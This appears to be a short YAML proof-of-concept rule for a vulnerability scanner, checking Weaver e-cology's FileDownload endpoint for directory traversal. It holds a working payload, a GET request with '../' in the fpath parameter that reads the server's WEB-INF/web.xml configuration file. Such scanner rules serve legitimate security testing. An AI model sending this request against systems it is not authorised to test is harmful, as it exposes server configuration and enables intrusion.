name: poc-yaml-ecology-filedownload-directory-traversal rules: - method: GET path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"/weaver/") detail: author: l1nk3r links: - https://www.weaver.com.cn/cs/securityDownload.asp